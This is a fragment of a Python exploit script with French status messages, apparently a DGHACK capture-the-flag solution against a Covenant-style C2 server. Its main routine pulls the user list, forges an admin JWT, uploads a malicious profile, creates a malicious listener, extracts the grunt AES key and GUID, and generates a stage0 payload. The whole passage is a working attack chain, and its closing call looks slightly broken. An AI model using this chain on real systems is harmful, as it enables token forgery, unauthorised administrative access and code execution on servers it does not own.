print("[!] %sImpossible de trouver le listener%s" % (Fore.RED,Fore.WHITE))
sys.exit(0)
def exploit(self) -> None:
print("[-] %sRecuperation de la liste des utilisateurs%s" % (Fore.MAGENTA,Fore.WHITE))
USER_LIST = self.get_user_list()
print("[-] %sGeneration du token admin%s" % (Fore.MAGENTA,Fore.WHITE))
self.ADMIN_NAME = "DGHACK_ADMIN"
self.ADMIN_ID = USER_LIST[1]["id"]
print("Choix: %s (%s) "% (self.ADMIN_NAME,self.ADMIN_ID))
self.ADMIN_TOKEN = self._gen_jwt(self.ADMIN_NAME,self.ADMIN_ID)
print(" - admin_token=%s" % self.ADMIN_TOKEN)
time.sleep(2)
print("[-] %sGeneration du profil malicieux%s" % (Fore.MAGENTA,Fore.WHITE))
profil_id = self.upload_profile()
print("[-] %sGeneration du listener malicieux%s" % (Fore.MAGENTA,Fore.WHITE))
listener_name = self.create_listener(profil_id)
print("[-] %sRecuperation de la configuration grunt%s" % (Fore.MAGENTA,Fore.WHITE))
aes_key, guid_prefix = self.read_grunt_cfg(listener_name)
print("[-] %sStage0%s" % (Fore.MAGENTA,Fore.WHITE))
self.generate_stage0(aes_key, guid_prefix + randomhex(5))
a = exploit()
a.exploit()